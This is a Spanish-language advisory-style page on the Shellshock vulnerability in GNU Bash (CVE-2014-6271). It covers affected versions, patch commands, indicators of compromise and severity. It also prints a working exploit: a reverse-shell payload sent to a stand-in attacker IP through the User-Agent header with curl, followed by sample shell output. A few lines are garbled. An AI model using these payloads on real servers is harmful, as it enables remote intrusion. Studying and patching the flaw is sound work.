
CVE-2014-6271

Vulnerabilidad de Ejecución Remota de Código de Día Cero de 25 Años en GNU Bash mediante Variables de Entorno
CVE-2014-6271, apodado Shellshock (también conocido como Bashdoor), es una vulnerabilidad crítica de ejecución remota de código (RCE) en el intérprete de comandos GNU Bash.
Un atacante puede enviar variables de entorno especialmente diseñadas (a través de cabeceras HTTP, DHCP, SSH, etc.) y obtener acceso remoto al intérprete de comandos del servidor subyacente, a menudo sin autenticación y con mínima interacción del usuario.
El atacante inyecta una variable especialmente diseñada (por ejemplo, en la cabecera User-Agent):
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Bash trata incorrectamente la carga útil como una definición de función más comandos al final. El código después de (); se ejecuta inmediatamente cuando se importa la variable.
El comando se ejecuta con los privilegios del servidor web / proceso (a menudo root o www-data).
Resultado:
# Acceso remoto al intérprete de comandos conseguido
whoami
www-data
✅ ¡Vulnerable! (Shellshock RCE activado)
vulnerable
test
También verás que la shell inversa se conecta instantáneamente.
env x='() { :;}; echo vulnerable' bash -c "echo test"
Devolverá inmediatamente:
vulnerable
test
(Esto confirma que Bash ejecutó el comando inyectado.)
Ejecuta este curl contra un script CGI Apache vulnerable:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/TU-IP/4444 0>&1" http://servidor-vulnerable/cgi-bin/test.sh
Verás esta salida exacta en tu listener de netcat:
bash: no job control in this shell
www-data@servidor:/var/www$ whoami
www-data
www-data@servidor:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@servidor:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
Esta salida aparece directamente en tu shell inversa. Sin error, sin 404.
Esto significa que tienes ejecución remota de código completa en el servidor — la inyección de variable de entorno funcionó perfectamente.
Todas las versiones de GNU Bash:
1.14 hasta 4.3 (antes del nivel de parche 30)
(incluyendo Linux, macOS, BSD, dispositivos embebidos)
Actualiza inmediatamente a:
Bash 4.3 nivel de parche 30 o posterior (se recomienda 4.4+)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {Buscar:
() {Los indicadores de compromiso pueden incluir:
() { :;};/bin/bash -iCabecera/DHCP/SSH malicioso → Bash importa variable de entorno
↓
Definición de función + comandos al final ejecutados
↓
Comando arbitrario / shell inversa
Este problema llevó a múltiples CVEs posteriores (parches incompletos):
| Área de Riesgo | Impacto |
|---|---|
| Confidencialidad | 🔴 Alto |
| Integridad | 🔴 Alto |
| Disponibilidad | 🔴 Alto |
Si ejecutas cualquier servidor Linux/macOS/BSD en 2026: 🔥 Parchea Bash inmediatamente (incluso en sistemas aislados). 💡 Asume compromiso si ejecutas Bash sin parchear expuesto a internet. 🛡 Realiza una revisión completa de registros y comprobaciones de integridad.
| Campo | Valor |
|---|
| ID CVE | CVE-2014-6271 |
| Gravedad | 🔴 Crítica |
| CVSS | 10.0 (Máximo) |
| Vector de Ataque | Remoto (HTTP, DHCP, SSH, etc.) |
| Autenticación Requerida | ❌ Ninguna (en muchos vectores) |
| Interacción del Usuario | ❌ Ninguna (en casos CGI/DHCP) |
| Impacto | Compromiso Total del Servidor |